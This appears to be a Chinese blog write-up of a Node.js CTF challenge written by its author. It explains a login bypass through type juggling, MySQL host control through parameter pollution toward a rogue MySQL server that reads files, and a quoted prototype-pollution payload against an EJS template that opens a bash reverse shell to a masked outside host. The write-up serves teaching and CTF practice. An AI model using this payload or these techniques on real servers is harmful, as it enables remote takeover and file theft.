一道有趣的关于nodejs的ctf题

首先,出题背景是公司要求我出一道简单的ctf题目,正好我最近在学习nodejs相关的东西,于是我就出了这道题目,题目源码,我已经打包上传到了GitHub上,地址是: https://github.com/niexinming/prototype_pullotion/
如果有兴趣,可以下载下来,研究一下

这个题目开局是一个登陆页面
在这里插入图片描述

在这里你会想到什么呢?爆破?nononono~
你要想到的是这是一道nodejs的题目啊,js本身就是一种弱类型语言,所以,你可以改变数据类型,来看看它会不会产生非预期的效果,你可以参考我以前翻译的过的文章
https://blog.csdn.net/niexinming/article/details/84889275

这篇文章中就介绍如何通过改变数据类型来绕过登录,所以,这个题目通过如下的方式就可以绕过登录:
首先抓包:
在这里插入图片描述

然后,修改用户名密码为数组,因为用户名和密码都是数组的第一个,所以只要把用户名和密码改成
{“user”:[0],“passwd”:[0]},就可以绕过登录

在这里插入图片描述
绕过登录之后,发现有一个地址,打开这个地址:http://106.75.10.182:3000/kfhkhkdsdshalkhkhaklhlahlkkhdfklhhjkhgdajgfhjaghghjasgfjh//jflkdsajklfjsakljfjkhkjhdsfgasdyuuyueuwguguiuidgffddjfj.js
发现是nodejs后端的源码:
在这里插入图片描述
可以看到这个题目可以通过控制host参数去改变mysql的连接地址,这里有个mysql客户端任意文件读取的问题,可以参考这个文章:https://blog.csdn.net/ls1120704214/article/details/88174003

但是如果直接在json中传递{“host”:””},根本不会有任何效果,因为我在57行写了过滤

if (body.host != undefined) {

如果发现有直接传递进来的host参数,nodejs就报错退出,所以,通过仔细观察源代码,发现这个代码有参数污染问题,关于参数污染,可以参考这篇文章:
https://www.4hou.com/technology/16328.html
所以就可以通过构造如下参数去改变host参数,把host参数变成我们自己mysql服务器的地址
首先,我要先把我服务器中的Rogue-mysql-Server 的rogue_mysql_server.py 中的filelist改成flag的地址
在这里插入图片描述
然后启动我的这个恶意的mysql服务器:
在这里插入图片描述
之后,我把host地址通过参数污染的方式改到我的这台服务器:
在这里插入图片描述
发送数据包后,我的服务器中收到了一个请求:
在这里插入图片描述
然后,去查看日志,就会看到flag

在这里插入图片描述
一个小插曲,因为我刚刚接触nodejs,所以,没有意识到里面其实有很多安全问题,我在出题的过程中错误的使用了nodejs的模板,导致Virink师傅用一个payload就把我的服务器给打下来了(拿下了服务器的控制权),通过跟virink 的交流我也学到了很多东西,最后我兑现了我的承诺,给师傅发了一个大红包
在这里插入图片描述

下面是virink的payload,发出来给大家学习

{"user":"test","passwd":"test","__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xxx.xxx.xx/6666 0>&1\"');var __tmp2"}}

后来我把这个漏洞修复了,等了两周,再也没有人做出来

  • 6
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值